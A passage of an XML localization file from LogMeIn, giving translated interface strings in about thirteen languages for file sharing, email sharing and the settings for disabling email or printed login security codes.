<msg name="STATUS">
<en>Status</en>
<de>Staus</de>
<es>Estado</es>
<fr>Etats</fr>
<it>Stato</it>
<ru>Состояние</ru>
<ja>ステータス</ja>
<zh>状态</zh>
<ko>상태</ko>
<en-gb>Status</en-gb>
<hu>Állapot</hu>
<pt-br>Status</pt-br>
<nl>Status</nl>
</msg>
<msg name="DL.FAIL">
<en>Incomplete downloads:</en>
<de>Download unvollständig:</de>
<es>Descargas incompletas:</es>
<fr>Téléchargements non terminés :</fr>
<it>Download incompleti:</it>
<ru>Незавершенные загрузки:</ru>
<ja>未完了のダウンロード:</ja>
<ko>불완전한 다운로드:</ko>
<hu>Befejezetlen letöltések:</hu>
<pt-br>Downloads incompletos:</pt-br>
<en-gb>Incomplete downloads:</en-gb>
<zh>下载未完成:</zh>
<nl>Onvolledige downloads:</nl>
</msg>
<msg name="DL.SUCC">
<en>Successful downloads:</en>
<de>Erfolgreiche Downloads:</de>
<es>Descargas completadas:</es>
<fr>Téléchargement réussi :</fr>
<it>Download eseguiti:</it>
<ru>Успешные загрузки:</ru>
<ja>成功したダウンロード:</ja>
<zh>成功下载的次数:</zh>
<ko>성공한 다운로드 수:</ko>
<en-gb>Successful downloads:</en-gb>
<hu>Sikeres letöltések:</hu>
<pt-br>Downloads bem-sucedidos:</pt-br>
<nl>Voltooide downloads:</nl>
</msg>
<msg name="DL.CREATED">
<en>Shared at:</en>
<de>Freigegeben bei:</de>
<es>Compartido en:</es>
<fr>Partagé sous :</fr>
<it>Condiviso il giorno:</it>
<ru>Общий доступ в:</ru>
<ja>共有を開始\nした時間:</ja>
<zh>共享位置:</zh>
<ko>공유 위치:</ko>
<en-gb>Shared at:</en-gb>
<hu>Megosztva ekkor:</hu>
<pt-br>Compartilhado em:</pt-br>
<nl>Gedeeld om:</nl>
</msg>
<msg name="DL.EXPIRES">
<en>Expires:</en>
<de>Ablaufdatum:</de>
<es>Caduca:</es>
<fr>Expire :</fr>
<it>Scadenza:</it>
<ru>Истекает:</ru>
<ja>有効期限:</ja>
<zh>到期:</zh>
<ko>만료:</ko>
<en-gb>Expires:</en-gb>
<hu>Lejárat:</hu>
<pt-br>Expira:</pt-br>
<nl>Verstrijkt op:</nl>
</msg>
<msg name="DL.SIZE">
<en>Size:</en>
<de>Größe:</de>
<es>Tamaño:</es>
<fr>Taille :</fr>
<it>Dimensione:</it>
<ru>Размер:</ru>
<ja>サイズ:</ja>
<zh>大小:</zh>
<ko>크기:</ko>
<en-gb>Size:</en-gb>
<hu>Méret:</hu>
<pt-br>Tamanho:</pt-br>
<nl>Grootte:</nl>
</msg>
<msg name="DL.USED">
<en>Bandwidth used</en>
<de>Verwendete Bandbreite</de>
<es>Ancho de banda utilizado</es>
<fr>Bande passante utilisée</fr>
<it>Larghezza di banda utilizzata</it>
<ru>Используемая пропускная способность</ru>
<ja>使用帯域幅</ja>
<zh>使用的带宽</zh>
<ko>사용된 대역폭</ko>
<en-gb>Bandwidth used</en-gb>
<hu>Használt sávszélesség</hu>
<pt-br>Largura de banda usada</pt-br>
<nl>Gebruikte bandbreedte</nl>
</msg>
<msg name="DL.CREATOR">
<en>Shared by:</en>
<de>Freigegeben von:</de>
<es>Compartido por:</es>
<fr>Partagé par :</fr>
<it>Condiviso da:</it>
<ru>Общий доступ открыт пользователем:</ru>
<ja>共有先:</ja>
<zh>共享者:</zh>
<ko>공유자:</ko>
<en-gb>Shared by:</en-gb>
<hu>Megosztotta:</hu>
<pt-br>Compartilhado por:</pt-br>
<nl>Gedeeld door:</nl>
</msg>
<msg name="URL">
<en>File Sharing Link</en>
<es>Enlace de Transferencia de archivos</es>
<de>Dateifreigabelink</de>
<fr>Lien de partage de fichiers</fr>
<it>Collegamento per la Condivisione dei file</it>
<ru>Ссылка на общий файл</ru>
<ja>ファイル共有リンク</ja>
<zh>文件共享链接</zh>
<ko>파일 공유 링크</ko>
<en-gb>File Sharing Link</en-gb>
<hu>Fájlmegosztási hivatkozás</hu>
<pt-br>Link Compartilhamento de arquivos</pt-br>
<nl>Koppeling Bestanden delen</nl>
</msg>
<msg name="URLNA">
<en>Creating link. This page will refresh automatically until the link appears.</en>
<de>Es kann kurze Zeit dauern, bis ein sicherer Link für diese Datei generiert wird.</de>
<es>Creando vínculo. Esta página se actualizará automáticamente hasta que aparezca el vínculo.</es>
<fr>Il se peut que la génération du lien sécurisé prenne un peu de temps. Cliquez sur "Actualiser" ou revenez plus tard.</fr>
<it>Creazione del collegamento. Questa pagina verrà aggiornata automaticamente quando compare il collegamento.</it>
<ru>Создание ссылки. Данная страница будет обновляться автоматически до появления данной ссылки.</ru>
<ja>リンクを作成しています。このページは、リンクが表示されるまで、自動的に更新されます。</ja>
<zh>正在创建链接。此页面将自动刷新,直至显示链接。</zh>
<ko>링크를 만드는 중입니다. 링크가 나타날 때까지 이 페이지는 자동으로 새로 고쳐집니다.</ko>
<en-gb>Creating link. This page will refresh automatically until the link appears.</en-gb>
<hu>Hivatkozás létrehozása Ez az oldal automatikusan frissül, amíg a hivatkozás megjelenik.</hu>
<pt-br>Criando link. Esta página será atualizada automaticamente até que o link seja exibido.</pt-br>
<nl>Bezig met maken van link. Deze pagina wordt automatisch vernieuwd tot de link is weergegeven.</nl>
</msg>
<msg name="EMAILADDR">
<en>Email address</en>
<de>Emailadresse</de>
<es>Dirección de correo electrónico</es>
<fr>Adresse Email</fr>
<it>Indirizzo e-mail</it>
<ru>Адрес электронной почты</ru>
<ja>電子メール アドレス</ja>
<zh>电子邮件地址</zh>
<ko>전자 메일 주소</ko>
<en-gb>E-mail address</en-gb>
<hu>E-mail cím</hu>
<pt-br>Endereço de email</pt-br>
<nl>E-mailadres</nl>
</msg>
<msg name="EMAILSENTON">
<en>Sent on</en>
<es>Enviado el</es>
<de>Gesendet am</de>
<fr>Envoyé le</fr>
<it>Inviato il</it>
<ru>Отправлено</ru>
<ja>送信日</ja>
<zh>发送地址</zh>
<ko>전송 위치</ko>
<en-gb>Sent on</en-gb>
<hu>Küldve:</hu>
<pt-br>Enviado em</pt-br>
<nl>Verzonden op</nl>
</msg>
<!-- file browser window -->
<cat name="BROWSE">
<msg name="NOACCESS">
<en>You do not have access to the selected file.</en>
<de>Sie haben auf diese Datei keinen Zugriff.</de>
<es>No tiene acceso al archivo seleccionado.</es>
<fr>Vous n'avez pas d'autorisation d'accès à ce fichier</fr>
<it>Non è possibile accedere al file selezionato.</it>
<ru>Нет прав доступа к выбранному файлу.</ru>
<ja>選択されているファイルへのアクセス権がありません。</ja>
<zh>您没有访问所选文件的权限。</zh>
<ko>선택한 파일에 대한 액세스가 없습니다.</ko>
<en-gb>You do not have access to the selected file.</en-gb>
<hu>Nincs hozzáférése a kiválasztott fájlhoz.</hu>
<pt-br>Você não tem acesso ao arquivo selecionado.</pt-br>
<nl>U hebt geen toegang tot het geselecteerde bestand.</nl>
</msg>
<msg name="WINDOW.CLOSED">
<en>Error: opener window unavailable.</en>
<de>Fehler: übergeordnetes Fenster ist nicht Verfügbar.</de>
<es>Error: no está disponible la ventana para abrir.</es>
<fr>Erreur: ouvreur de fenêtre inaccessible</fr>
<it>Errore: finestra di apertura non disponibile.</it>
<ru>Ошибка: недоступно окно для открытия ссылки.</ru>
<ja>エラー :開いた元のウィンドウが無効です。</ja>
<zh>错误:窗口开启器不可用。</zh>
<ko>오류: 열기 창을 사용할 수 없습니다.</ko>
<en-gb>Error: opener window unavailable.</en-gb>
<hu>Hiba: a megnyitó ablak nem érhető el.</hu>
<pt-br>Erro: janela de abertura indisponível.</pt-br>
<nl>Fout: venster waarin dit werd geopend, is niet beschikbaar.</nl>
</msg>
<msg name="LOOK">
<en>Look in:</en>
<de>Nachschauen in:</de>
<es>Vea:</es>
<fr>Regardez dans :</fr>
<it>Cerca in:</it>
<ru>См. в:</ru>
<ja>次の中身を確認 :</ja>
<zh>查看:</zh>
<ko>검색 위치:</ko>
<en-gb>Look in:</en-gb>
<hu>Keresés itt:</hu>
<pt-br>Examinar:</pt-br>
<nl>Zoeken in:</nl>
</msg>
<msg name="SUBMIT">
<en>Share</en>
<de>Freigabe</de>
<es>Compartir</es>
<fr>Partagez</fr>
<it>Condividi</it>
<ru>Общий доступ</ru>
<ja>共有</ja>
<zh>共享</zh>
<ko>공유</ko>
<en-gb>Share</en-gb>
<hu>Megosztás</hu>
<pt-br>Compartilhar</pt-br>
<nl>Delen</nl>
</msg>
</cat>
<!-- email properties -->
<cat name="MAIL">
<msg name="FROM">
<en>From</en>
<de>Von</de>
<es>De</es>
<fr>De</fr>
<it>Da</it>
<ru>Откуда</ru>
<ja>送信元</ja>
<zh>发件人</zh>
<ko>시작</ko>
<en-gb>From</en-gb>
<hu>Feladó</hu>
<pt-br>De</pt-br>
<nl>Van</nl>
</msg>
<msg name="RCPT">
<en>To</en>
<de>An</de>
<es>A</es>
<fr>A</fr>
<it>A</it>
<ru>Куда</ru>
<ja>送信先</ja>
<zh>收件人</zh>
<ko>끝</ko>
<en-gb>To</en-gb>
<hu>Címzett</hu>
<pt-br>Para</pt-br>
<nl>Aan</nl>
</msg>
<msg name="SUBJ">
<en>Subject</en>
<de>Betreff</de>
<es>Asunto</es>
<fr>Sujet</fr>
<it>Oggetto</it>
<ru>Тема</ru>
<ja>件名</ja>
<zh>主题</zh>
<ko>제목</ko>
<en-gb>Subject</en-gb>
<hu>Tárgy</hu>
<pt-br>Assunto</pt-br>
<nl>Onderwerp</nl>
</msg>
<msg name="SUBJ.DEFAULT">
<en>%WEBSVC.EMAIL would like to share this file with you</en>
<es>%WEBSVC.EMAIL desea compartir este archivo con usted</es>
<fr>Quelqu'un vous a envoyé un lien sécurisé par le bied de Partage de fichiers.</fr>
<de>%WEBSVC.EMAIL möchte Ihnen diese Datei für den gemeinsamen Zugriff zur Verfügung stellen</de>
<it>%WEBSVC.EMAIL vorrebbe condividere questo file</it>
<ru>%WEBSVC.EMAIL предлагает открытый доступ к данному файлу</ru>
<ja>%WEBSVC.EMAIL は、このファイルを共有することを希望しています</ja>
<zh>%WEBSVC.EMAIL 希望与您共享此文件</zh>
<ko>%WEBSVC.EMAIL은(는) 이 파일을 사용자와 공유하려고 합니다.</ko>
<en-gb>%WEBSVC.EMAIL would like to share this file with you</en-gb>
<hu>%WEBSVC.EMAIL szeretné megosztani Önnel ezt a fájlt</hu>
<pt-br>O %WEBSVC.EMAIL gostaria de compartilhar este arquivo com você</pt-br>
<nl>%WEBSVC.EMAIL wil dit bestand graag met u delen</nl>
</msg>
<msg name="SUBJ.DEFAULT.NOEMAIL">
<en>Someone would like to share this file with you</en>
<es>Alguien desea compartir este archivo con usted</es>
<de>Jemand möchte Ihnen diese Datei für den gemeinsamen Zugriff zur Verfügung stellen</de>
<fr>Une personne souhaite partager ce fichier avec vous</fr>
<it>Qualcuno vorrebbe condividere questo file</it>
<ru>Некоторый пользователь предлагает открытый доступ к данному файлу</ru>
<ja>このファイルを共有することを希望している人がいます。</ja>
<zh>有人希望与您共享此文件</zh>
<ko>다른 사용자가 이 파일을 사용자와 공유하려고 합니다.</ko>
<en-gb>Someone would like to share this file with you</en-gb>
<hu>Valaki meg szeretné osztani Önnel ezt a fájlt</hu>
<pt-br>Alguém gostaria de compartilhar este arquivo com você</pt-br>
<nl>Iemand wil dit bestand graag met u delen</nl>
</msg>
<msg name="BODY">
<en>Message</en>
<de>Nachricht</de>
<es>Mensaje</es>
<fr>Contenu (requis)</fr>
<it>Messaggio</it>
<ru>Сообщение</ru>
<ja>メッセージ</ja>
<zh>邮件</zh>
<ko>메시지</ko>
<en-gb>Message</en-gb>
<hu>Üzenet</hu>
<pt-br>Mensagem</pt-br>
<nl>Bericht</nl>
</msg>
<msg name="BODY.OPTIONAL">
<en>(optional)</en>
<de>(erforderlich)</de>
<es>(opcional)</es>
<fr>(optionnel)</fr>
<it>(opzionale)</it>
<ru>(необязательно)</ru>
<ja>(オプション)</ja>
<zh>(可选)</zh>
<ko>(선택 사항)</ko>
<en-gb>(optional)</en-gb>
<hu>(opcionális)</hu>
<pt-br>(opcional)</pt-br>
<nl>(optioneel)</nl>
</msg>
<!-- mail footers, don't use TM sign or variable inserts -->
<msg name="FOOTER1">
<en>\nFollow the link below to download your file:\n</en>
<de>\nFolgen sie dem Link, um die Datei herunter zu laden:\n</de>
<es>\nHaga clic en el vínculo siguiente para descargar su archivo:\n</es>
<fr>\nAllez sur le lien ci-dessous pour télécharger votre fichier:\n</fr>
<it>\nSelezionare il collegamento seguente per effettuare il download del file:\n</it>
<ru>\nСледуйте предоставленной ниже ссылке, чтобы загрузить свой файл:\n</ru>
<ja>\n下のリンクに従ってファイルをダウンロードしてください :\n</ja>
<zh>\n请使用以下链接来下载您的文件:\n</zh>
<ko>\n아래 링크를 따라 파일을 다운로드하십시오.\n</ko>
<en-gb>\nFollow the link below to download your file:\n</en-gb>
<hu>\nkövesse az alábbi hivatkozást a fájl letöltéséhez:\n</hu>
<pt-br>\nSiga o link abaixo para baixar o arquivo:\n</pt-br>
<nl>\nKlik op de onderstaande link als u dit bestand wilt downloaden:\n</nl>
</msg>
<msg name="FOOTER2">
<en>\n\nShare files securely with File Sharing &amp; LogMeIn.\n\n</en>
<de>\n\nSichere Dateifreigabe mit Dateifreigabe &amp; LogMeIn.\n\n</de>
<es>\n\nComparta archivos de forma segura con Transferencia de archivos &amp; LogMeIn.\n\n</es>
<fr>\n\nFichiers partagés en toute sécurié par Partage de fichiers et LogMeIn.\n\n</fr>
<it>\n\nCondividi i file in modo sicuro con Condivisione dei file &amp; LogMeIn.\n\n</it>
<ru>\n\nОткройте безопасный общий доступ к файлам с помощью функции безопасного совместного использования файлов и LogMeIn.\n\n</ru>
<ja>\n\nファイル共有 &amp; LogMeIn でファイルを安全に共有できます。\n\n</ja>
<zh>\n\n使用“文件共享”功能和 LogMeIn 安全地共享文件。\n\n</zh>
<ko>\n\n파일 공유 &amp; LogMeIn과 안전하게 파일을 공유합니다.\n\n</ko>
<en-gb>\n\nShare files securely with File Sharing &amp; LogMeIn.\n\n</en-gb>
<hu>\n\nOssza meg biztonságosan a fájlokat a Fájlmegosztás és a LogMeIn segítségével.\n\n</hu>
<pt-br>\n\nCompartilhar arquivos com segurança com o Compartilhamento de arquivos &amp; LogMeIn.\n\n</pt-br>
<nl>\n\nBestanden veilig delen met "Bestanden delen" en LogMeIn.\n\n</nl>
</msg>
</cat>
</cat>
<cat name="SECURITY">
<msg name="TITLE">
<en>Extra Security Features</en>
<de>Zusätzliche Sicherheitsfeatures</de>
<es>Funciones extra de seguridad</es>
<fr>Fonctions de sécurité supplémentaires</fr>
<it>Funzioni di protezione aggiuntiva</it>
<ru>Дополнительные функции безопасности</ru>
<ja>高度なセキュリティ機能</ja>
<zh>额外安全功能</zh>
<ko>추가 보안 기능</ko>
<en-gb>Extra Security Features</en-gb>
<hu>Különleges biztonsági funkciók</hu>
<pt-br>Recursos de segurança extras</pt-br>
<nl>Extra beveiligingsfuncties</nl>
</msg>
<msg name="DESC">
<en>Disable security features in order to access your computer</en>
<de>Sicherheitsfeatures deaktivieren, um auf ihren Computer zuzugreifen</de>
<es>Deshabilitar funciones de seguridad para acceder a su ordenador</es>
<fr>Désactivez les fonctions de sécurité pour accèder à votre ordinateur</fr>
<it>Disattiva le funzioni di protezione per accedere al computer in uso</it>
<ru>Отключите функции безопасности, чтобы получить доступ к своему компьютеру</ru>
<ja>このコンピュータにアクセスするためにセキュリティ機能を無効にする</ja>
<zh>禁用安全功能以访问您的计算机</zh>
<ko>컴퓨터에 액세스하려면 보안 기능을 사용하지 않도록 설정하십시오.</ko>
<en-gb>Disable security features in order to access your computer</en-gb>
<hu>Biztonsági funkciók kikapcsolása a számítógép eléréséhez</hu>
<pt-br>Desabilitar recursos de segurança para acessar seu computador</pt-br>
<nl>Beveiligingsfuncties uitschakelen om toegang te krijgen tot uw computer</nl>
</msg>
<msg name="LOGIN">
<en>To change your extra security settings, please log in with your registered %WEBSVC.NAME
email address and password. To access this feature you must be the primary LogMeIn account 
user on this computer.</en>
<de>Um die zusätzlichen Sicherheitsfeatures zu ändern, melden sie sich bitte mit ihrer %WEBSVC.NAME Emailadresse und Kennwort an. Um diese Features zu ändern müssen sie den primären LogMeIn Konto auf dem Computer verwenden.</de>
<es>Para modificar la configuración de seguridad extra, inicie sesión con su dirección de correo electrónico y contraseña registradas de %WEBSVC.NAME
. Para acceder a esta función usted debe ser el usuario principal de la cuenta de 
LogMeIn de este ordenador.</es>
<fr>Pour modifier vos fonctions de sécurité supplémentaires, veuillez vous connecter avec votre adresse email %WEBSVC.NAME
et mot de passe. Pour utiliser cette fonction vous devez être le compte principal de LogMeln
sur cet ordinateur.</fr>
<it>Per modificare le impostazioni di protezione aggiuntiva, accedere con l'indirizzo e-mail e la password %WEBSVC.NAME registrati. Per accedere a questa funzione, occorre essere l'utente dell'account LogMeIn principale su questo computer.</it>
<ru>Чтобы изменить свои дополнительные настройки безопасности, войдите в систему со своим адресом электронной почты и паролем, зарегистрированными в %WEBSVC.NAME. Чтобы получить доступ к данной функции, необходимо использовать основную учетную запись пользователя LogMeIn на данном компьютере.</ru>
<ja>高度なセキュリティ設定を変更するには、登録済みの %WEBSVC.NAME の電子メールアドレスおよびパスワードでログインします。この機能にアクセスするためには、このコンピュータで LogMeIn の主アカウント ユーザである必要があります。</ja>
<zh>要更改额外安全设置,请使用注册的 %WEBSVC.NAME 电子邮件地址和密码登录。要访问此功能,您必须是此计算机上的主 LogMeIn 帐户用户。</zh>
<ko>추가 보안 설정을 변경하려면 등록된 %WEBSVC.NAME 전자 메일 주소 및 암호로 로그인하십시오. 이 기능에 액세스하려면 이 컴퓨터에서 기본 LogMeIn 계정 사용자여야 합니다.</ko>
<en-gb>To change your extra security settings, please log in with your registered %WEBSVC.NAME email address and password. To access this feature you must be the primary LogMeIn account 
user on this computer.</en-gb>
<hu>A különleges biztonsági beállítások módosításához jelentkezzen be regisztrált %WEBSVC.NAME
e-mail címének és jelszavának megadásával. Ennek a funkciónak az eléréséhez Ön az elsődleges LogMeIn fiók 
felhasználója kell legyen ezen a számítógépen.</hu>
<pt-br>Para alterar suas configurações de segurança extras, conecte-se ao %WEBSVC.NAME registrado.
endereço de email e senha. Para acessar este recurso, você deve ser o usuário primário da conta do LogMeIn 
neste computador.</pt-br>
<nl>Als u uw extra beveiligingsinstellingen wilt wijzigen, meldt u zich aan met het e-mailadres en wachtwoord waarmee u bij %WEBSVC.NAME bent geregistreerd. Als u toegang wilt krijgen tot deze functie, moet u zich bij deze computer hebben aangemeld als hoofdgebruiker met een LogMeIn-account.</nl>
</msg>
<msg name="NOTHING">
<en>You do not have any extra security features enabled. Click the button below to
visit the %WEBSVC.SITE website and configure your security settings.</en>
<de>Die zusätzlichen Sicherheitsfeatures sind nicht aktiviert. Klicken sie unten auf die Schaltfläche, um die %WEBSVC.SITE Webseite zu besuchen und die Sicherheitseinstellungen zu konfigurieren.</de>
<es>No tiene habilitadas funciones extra de seguridad. Haga clic en el botón de abajo para
visitar el sitio web de %WEBSVC.SITE y configurar la configuración de seguridad.</es>
<fr>Vous n'avez pas de fonctions de sécurité supplémentaires activées. Cliquez sur le bouton ci-dessous pour
atteindre le site Web %WEBSVC.SITE et configurer vos paramètres de sécurité.</fr>
<it>Non ci sono funzioni di protezione aggiuntiva abilitate. Fare clic sul pulsante di seguito per visitare il sito Web %WEBSVC.SITE e configurare le impostazioni di protezione.</it>
<ru>Дополнительные функции безопасности не включены. Щелкните расположенную ниже кнопку, чтобы посетить веб-сайт %WEBSVC.SITE и настроить свои параметры безопасности.</ru>
<ja>高度なセキュリティ機能は有効になっていません。下のボタンをクリックして、%WEBSVC.SITE Web サイトに移動し、セキュリティ設定を構成してください。</ja>
<zh>您没有启用任何额外安全功能。单击下面的按钮可以访问 %WEBSVC.SITE Web 站点和配置您的安全设置。</zh>
<ko>사용할 수 있는 추가 보안 기능이 없습니다. 아래 버튼을 클릭하여 %WEBSVC.SITE 웹 사이트를 방문하고 보안 설정을 구성하십시오.</ko>
<en-gb>You do not have any extra security features enabled. Click the button below to visit the %WEBSVC.SITE website and configure your security settings.</en-gb>
<hu>Önnek nincs engedélyezett különleges szolgáltatása. Kattintson az alábbi gombra, hogy
ellátogasson a(z) %WEBSVC.SITE webhelyre és megadja biztonsági beállításait.</hu>
<pt-br>Você não tem nenhum recurso de segurança extra habilitado. Clique no botão abaixo para
visitar o site %WEBSVC.SITE e definir suas configurações de segurança.</pt-br>
<nl>Voor uw account zijn geen extra beveiligingsfuncties ingeschakeld. Klikt u op de onderstaande knop om naar de website %WEBSVC.SITE te gaan en uw beveiligingsinstellingen te configureren.</nl>
</msg>
<msg name="MORE">
<en>To further configure your extra security settings, please click the button
below to visit the %WEBSVC.SITE website.</en>
<de>Um zukünftig die zusätzlichen Sicherheitsfeatures zu konfigurieren, klicken sie unten auf die Schaltfläche, um die %WEBSVC.SITE Webseite zu besuchen.</de>
<es>Para configuraciones más específicas de seguridad extra, haga clic en el botón
siguiente para visitar el sitio web de %WEBSVC.SITE.</es>
<fr>Pour en plus configurer vos paramètres de sécurité supplémentaires, veuillez cliquez sur le bouton
ci-dessous pour atteindre le site Web %WEBSVC.SITE.</fr>
<it>Per configurare ulteriormente le impostazioni di protezione aggiuntiva, fare clic sul pulsante di seguito e visitare il sito Web %WEBSVC.SITE.</it>
<ru>Чтобы продолжить настройку дополнительных параметров безопасности, посетите веб-сайт %WEBSVC.SITE, щелкнув расположенную ниже кнопку.</ru>
<ja>さらに高度なセキュリティ設定を構成するには、下のボタンをクリックして、%WEBSVC.SITE Web サイトに移動してください。</ja>
<zh>要进一步配置您的额外安全设置,请单击下面的按钮,
以访问 %WEBSVC.SITE Web 站点。</zh>
<ko>추가 보안 설정을 구성하려면 아래 버튼을 클릭하여 %WEBSVC.SITE 웹 사이트를 방문하십시오.</ko>
<en-gb>To further configure your extra security settings, please click the button below to visit the %WEBSVC.SITE website.</en-gb>
<hu>A különleges biztonsági beállítások további konfigurálásához kattintson az alábbi
gombra, hogy meglátogassa a(z) %WEBSVC.SITE webhelyet.</hu>
<pt-br>Para outras definições nas configurações de segurança extras, clique no botão
abaixo para visitar o site %WEBSVC.SITE.</pt-br>
<nl>Als u uw extra beveiligingsinstellingen gedetailleerder wilt configureren, klikt u op de onderstaande knop om naar de website %WEBSVC.SITE te gaan.</nl>
</msg>
<msg name="SETUP">
<en>Set up extra security</en>
<de>Zusätzliche Sicherheit konfigurieren</de>
<es>Configurar seguridad extra</es>
<fr>Configurer sécurité supllémentaire</fr>
<it>Imposta protezione aggiuntiva</it>
<ru>Настройка дополнительной безопасности</ru>
<ja>高度なセキュリティを設定</ja>
<zh>设置额外安全功能</zh>
<ko>추가 보안 설정</ko>
<en-gb>Set up extra security</en-gb>
<hu>Különleges biztonság beállítása</hu>
<pt-br>Configurar segurança extra</pt-br>
<nl>Extra beveiliging configureren</nl>
</msg>
<cat name="EMAIL">
<msg name="TITLE">
<en>Email Codes</en>
<de>Email Codes</de>
<es>Códigos de correo electrónico</es>
<fr>Message codé</fr>
<it>Codici e-mail</it>
<ru>Коды по электронной почте</ru>
<ja>電子メール コード</ja>
<zh>电子邮件代码</zh>
<ko>코드 전자 메일로 보내기</ko>
<en-gb>E-mail Codes</en-gb>
<hu>E-mail kódok</hu>
<pt-br>Códigos de email</pt-br>
<nl>Beveiligingscodes via e-mail</nl>
</msg>
<msg name="DESC">
<en>You have requested that a security code be sent to your
email address every time you log into %WEBSVC.SITE. If you cannot
access your email to retrieve the code, you can disable this security 
feature by clicking the button below.</en>
<de>Sie bekommen jedesmal, wenn sie sich bei %WEBSVC.SITE anmelden automatisch ein Sicherheitscode per Email. Wenn sie ihre Emails nicht abrufen können, um den Sicherheitscode zu empfangen, können sie dieses Sicherheitsfeature unten abschalten.</de>
<es>Ha solicitado que se le envíe un código de seguridad a su
dirección de correo electrónico cada vez que inicie sesión en %WEBSVC.SITE. Si no puede
acceder a su correo electrónico para recuperar el código, puede deshabilitar esta función de 
de seguridad haciendo clic en el botón que aparece a continuación.</es>
<fr>Vous avez demandé qu'un code de sécurité soit envoyé à votre
adresse email toutes les fois que vous vous connectez à %WEBSVC.SITE. Si vous ne pouvez pas
accèder à votre courrier électronique pour rechercher le code, vous pouvez désactiver cette fonction
de sécurité en cliquant sur le bouton ci-dessous.</fr>
<it>È stato richiesto l'invio di un codice di protezione all'indirizzo e-mail indicato ogni volta che si accede a %WEBSVC.SITE. Se non è possibile accedere all'e-mail per recuperare il codice, è possibile disattivare questa funzione di protezione facendo clic sul pulsante di seguito.</it>
<ru>В соответствии с запросом защитный код будет оправляться вам по электронной почте при каждом входе в %WEBSVC.SITE. Если данный код не может быть получен из-за отсутствия доступа к электронной почте, то данную функцию безопасности можно отключить, щелкнув расположенную ниже кнопку.</ru>
<ja>%WEBSVC.SITE へのログイン時に常に自分の電子メール アドレス宛てにセキュリティ コードを送信するように要求しました。電子メールにアクセスしてコードを取得できない場合は、以下のボタンをクリックして、このセキュリティ機能を無効にすることができます。</ja>
<zh>您已请求系统在您每次登录 %WEBSVC.SITE 时将安全代码发送至您的电子邮件地址。如果您无法访问电子邮件获得该代码,您可以单击下面的按钮禁用此安全功能。</zh>
<ko>%WEBSVC.SITE에 로그인할 때마다 전자 메일 주소로 보안 코드를 보내도록 요청했습니다. 전자 메일에 액세스하여 코드를 검색할 수 없는 경우 아래 버튼을 클릭하여 이 보안 기능을 사용하지 않도록 설정할 수 있습니다.</ko>
<en-gb>You have requested that a security code be sent to your email address every time you log into %WEBSVC.SITE. If you cannot access your email to retrieve the code, you can disable this security feature by clicking the button below.</en-gb>
<hu>Azt kérte, hogy egy biztonsági kódot kapjon e-mailben
minden alkalommal, amikor bejelentkezik a %WEBSVC.SITE webhelyre. Ha nem
fér hozzá a leveleihez a kód visszakereséséhez, akkor kikapcsolhatja ezt a biztonsági 
funkciót, az alábbi gombra kattintva.</hu>
<pt-br>Você solicitou que um código de segurança seja enviado para o seu
endereço de email toda vez que você se conectar ao %WEBSVC.SITE. Se você não puder
acessar seu email para recuperar o código, desabilite este recurso de 
segurança, clicando no botão abaixo.</pt-br>
<nl>U hebt een aanvraag ingediend om een beveiligingscode naar uw e-mailadres te verzonden telkens wanneer u zich aanmeldt bij %WEBSVC.SITE. Als u geen toegang hebt tot uw e-mailberichten om de beveiligingscode op te vragen, kunt u deze beveiligingsfunctie uitschakelen door op de onderstaande knop te klikken.</nl>
</msg>
<msg name="DISABLE">
<en>Disable Security Codes Sent by Email</en>
<de>Sicherheitscodes per Email deaktivieren</de>
<es>Deshabilitar códigos de seguridad enviados por correo electrónico</es>
<fr>Désactivation de l'envoi de codes de sécurité par courrier électronique</fr>
<it>Disattiva codici di protezione inviati per e-mail</it>
<ru>Отключить отправку защитных кодов по электронной почте</ru>
<ja>電子メールで送信されるセキュリティ コードを無効にする</ja>
<zh>禁用通过电子邮件发送的安全代码</zh>
<ko>전자 메일로 보낸 보안 코드 사용 안 함</ko>
<en-gb>Disable Security Codes Sent by E-mail</en-gb>
<hu>E-mailben küldött biztonsági kódok kikapcsolása</hu>
<pt-br>Desabilitar códigos de segurança enviados por email</pt-br>
<nl>Verzenden van beveiligingscodes via e-mail uitschakelen</nl>
</msg>
</cat>
<cat name="PRINT">
<msg name="TITLE">
<en>Printed Codes</en>
<de>Printed Codes</de>
<es>Códigos impresos</es>
<fr>Codes imprimées</fr>
<it>Codici stampati</it>
<ru>Напечатанные коды</ru>
<ja>印刷されたコード</ja>
<zh>打印的代码</zh>
<ko>인쇄된 코드</ko>
<en-gb>Printed Codes</en-gb>
<hu>Nyomtatott kódok</hu>
<pt-br>Códigos impressos</pt-br>
<nl>Afgedrukte beveiligingscodes</nl>
</msg>
<msg name="DESC">
<en>You have requested that a one-time security code is required to 
be entered every time you log into %WEBSVC.SITE. If you have lost your
printout of these codes, you can disable this security feature by
clicking the button below.</en>
<de>Jedesmal, wenn sie sich bei %WEBSVC.SITE anmelden, müssen sie einen One-Time Sicherheitscode eingeben. Wenn sie die Liste dieser  ausgedruckten Codes verloren haben, können sie dieses Sicherheitsfeature unten abschalten.</de>
<es>Ha solicitado que sea necesario un código de seguridad único
cada vez que inicie sesión en %WEBSVC.SITE. Si ha perdido la
copia impresa de estos códigos, puede deshabilitar esta función de seguridad
haciendo clic en el botón de abajo.</es>
<fr>Vous avez demandé que des codes d'accès uniques de sécurité vous soit demandé à chaque
connexion sur %WEBSVC.SITE. Si vous avez perdu le support imprimé
de ces codes, vous pouvez désactiver cette fonction de sécurité en
cliquant sur le bouton ci-dessous.</fr>
<it>È stata richiesta l'immissione obbligatoria una sola volta di un codice di protezione valido per ogni accesso a %WEBSVC.SITE. Se la stampa di questi codici è andata persa, è possibile disattivare questa funzione di protezione facendo clic sul pulsante di seguito.</it>
<ru>В соответствии с запросом при каждом входе в %WEBSVC.SITE требуется вводить одноразовый защитный код. В случае утраты распечатки этих кодов данную функцию безопасности можно отключить, щелкнув расположенную ниже кнопку.</ru>
<ja>%WEBSVC.SITE へのログイン時に常に ワンタイム セキュリティ コードの入力を必要とするように要求しました。これらのコードのプリントアウトを紛失した場合は、以下のボタンをクリックして、このセキュリティ機能を無効にすることができます。</ja>
<zh>您已请求系统在您每次登录 %WEBSVC.SITE 时要求输入一次性的安全代码。如果丢失了这些代码的打印结果,您可以单击下面的按钮来禁用此安全功能。</zh>
<ko>%WEBSVC.SITE에 로그인할 때마다 1회 보안 코드를 입력하도록 요청했습니다. 인쇄된 코드를 잃어버린 경우 아래 버튼을 클릭하여 이 보안 기능을 사용하지 않도록 설정할 수 있습니다.</ko>
